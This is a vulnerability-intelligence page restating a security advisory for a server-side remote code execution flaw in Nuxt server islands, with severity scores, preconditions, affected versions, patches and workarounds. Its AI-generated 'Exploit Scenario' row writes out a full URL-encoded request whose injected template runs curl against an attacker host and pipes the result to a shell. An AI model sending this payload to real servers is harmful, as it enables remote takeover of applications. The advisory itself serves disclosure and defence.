Severity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
AV:N because the island endpoint is HTTP; PR:N because it is unauthenticated; AC:H because exploitation requires two independent non-default preconditions (runtime compiler enabled and dynamic-component sink present in an island).
Primary rating from Vendor (https://github.com/nuxt/nuxt).
CVSS VectorVendor: https://github.com/nuxt/nuxt
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Impact
Nuxt server islands accept props via the /__nuxt_island/ endpoint. When vue.runtimeCompiler: true is enabled (off by default) and the application has a server island component that forwards props into Vue's dynamic component resolution (<component :is>, resolveDynamicComponent, or h()), an attacker can inject a template key into the island props to achieve server-side remote code execution in the Nitro process.
{ "as": { "template": "<attacker-controlled>" } }Vue's runtime template compiler compiles and executes the attacker-controlled template in the server process. The same primitive also works on the client side when the runtime compiler is active there, though the server-side path is the primary concern.
Some component libraries expose a polymorphic as / asChild prop that forwards its value into <component :is>; @nuxt/ui (via reka-ui) is a widely used example. An application is affected if such a component receives the attacker-controlled value, provided vue.runtimeCompiler is also enabled. Note this does not require the island author to explicitly forward a prop: island props that the island component does not declare fall through as attributes onto its single root element (standard Vue attribute inheritance), so an island whose root is a polymorphic component receives the attacker's as value implicitly. These libraries are not themselves vulnerable; they are noted only because they commonly provide the dynamic-component sink.
Common configurations that satisfy the preconditions
The flaw is in Nuxt core. The library below is not itself vulnerable; it is noted because it commonly provides the dynamic-component sink an application might inadvertently expose.
@nuxt/ui(via its underlyingreka-uiprimitives) exposes a polymorphicas/asChildprop that is forwarded into Vue's dynamic-component resolution. Installing@nuxt/uidoes not by itself register any component as a server island. Exploitation requires the application to define an island component (a.server.vuefile) whose rendered output puts the attacker-controlled value on such a component'sas/asChildprop; withvue.runtimeCompiler: true, the attacker-controlledtemplateis then compiled and executed. Because undeclared island props fall through as attributes to the single root, this can happen without any explicit binding: an island whose root is areka-ui/@nuxt/uicomponent is enough. An example vulnerable island (theasvalue falls through toUButton, no explicit forwarding needed):
<!-- components/MyWidget.server.vue -->
<template>
<UButton>Save</UButton>
</template>The island URL hash (/__nuxt_island/<Name>_<hash>.json) is a deterministic (unsalted) content hash, not an authentication token. It provides integrity relative to the URL but is not a security boundary: an attacker who knows the component name and desired props can compute a valid hash.
Mitigating factors
vue.runtimeCompileris off by default in Nuxt. The vast majority of Nuxt applications are not affected.- Exploitation requires a second precondition: the application must have a server island component that puts an attacker-controlled value onto a dynamic-component path (
<component :is>,resolveDynamicComponent,h(), or a polymorphicas/asChildprop). This can occur explicitly or via attribute fallthrough when the island's root is such a component. - SSG / static deployments are largely unreachable via this vector (no server process to exploit).
- Island component names are constrained to the build-time component registry; an attacker cannot resolve arbitrary components.
Affected versions
Nuxt >=3.4.0 <3.21.10 and >=4.0.0 <4.5.1, and only when vue.runtimeCompiler: true and component islands are active. Earlier versions did not allow the Vue compiler to be enabled in the server bundle (the compiler dependencies have been mock-aliased on the server since v3.0.0-rc.1), so the runtime-compilation path is not reachable. Nuxt 2 is not affected (no server islands).
Patches
When vue.runtimeCompiler is enabled, island requests whose decoded props contain a template key at any depth are rejected with an HTTP 400 and a diagnostic suggesting the author rename the prop or disable the runtime compiler. The guard is gated on the runtime compiler being enabled, so the default configuration (compiler off) is unaffected and legitimate props that merely contain a template field (for example CMS content) continue to render. A render key is not rejected: island props arrive as JSON, so a render value can only be an inert string, which Vue ignores.
Fixed in nuxt@4.5.1 and backported to nuxt@3.21.10.
Workarounds
Upgrade to nuxt@4.5.1 or nuxt@3.21.10. If you cannot immediately upgrade, you can mitigate by:
- Ensure
vue.runtimeCompileris set tofalse(the default). - Do not forward island props into
<component :is>,resolveDynamicComponent, orh()without sanitization. - As a defense-in-depth measure, deploy a WAF rule on
/__nuxt_island/that URL-decodes and JSON-parses thepropsvalue and blocks any object property namedtemplateorrenderin the decoded island props, inspecting both query and body for all methods. Note: this only covers direct and browser-originated island requests; initial-SSR internal island renders do not transit the edge and a WAF alone does not close the vector.
AnalysisAI
Server-side remote code execution in Nuxt's server island feature (nuxt >=3.4.0 <3.21.10 and >=4.0.0 <4.5.1) allows unauthenticated network attackers to execute arbitrary code in the Nitro server process by injecting a template key into island props delivered to the /__nuxt_island/ endpoint. Exploitation requires two simultaneous preconditions: vue.runtimeCompiler: true must be explicitly enabled (it is off by default), and the application must expose a server island whose rendered output routes attacker-controlled prop values into Vue's dynamic component resolution - a condition that can arise implicitly via Vue's attribute-fallthrough mechanism when the island's root is a polymorphic component such as @nuxt/ui's UButton. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires two simultaneous conditions, both of which must be true: (1) `vue.runtimeCompiler: true` must be explicitly set in the application's nuxt.config - this option is off by default and the vulnerability is entirely unreachable without it; and (2) the application must define at least one server island component (a `.server.vue` file) whose rendered output exposes a dynamic-component sink. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD CVSS 8.1 score (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) accurately captures the dual-precondition complexity via AC:H: exploitation requires both an explicitly enabled non-default configuration flag and a specific application-level component pattern. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker targeting a Nuxt application that has `vue.runtimeCompiler: true` enabled and uses @nuxt/ui's UButton as the root of a server island component computes the deterministic island URL hash for the target component name, then sends a GET request to `/__nuxt_island/MyWidget_<hash>.json?props=%7B%22as%22%3A%7B%22template%22%3A%22%3Cscript%3Erequire('child_process').execSync('curl%20attacker.com/shell|sh')%3C%2Fscript%3E%22%7D%7D`. Because the island's root is UButton (a reka-ui polymorphic component), the `as` prop falls through via Vue's attribute inheritance and the nested `template` string is compiled and executed by the Vue runtime compiler in the Nitro server process, granting the attacker arbitrary OS-level code execution. … |
| Remediation | Upgrade to nuxt@4.5.1 (for Nuxt 4.x) or nuxt@3.21.10 (for Nuxt 3.x), both of which include the `findUnsafeIslandPropKey` guard that rejects island requests containing a `template` key at any depth when `runtimeCompiler` is enabled. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, conduct an inventory to identify applications using Nuxt versions 3.4.0-3.21.9 or 4.0.0-4.5.0, verify which applications have vue.runtimeCompiler explicitly enabled, and document exposure scope. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-53649
GHSA-9473-5f9j-94wq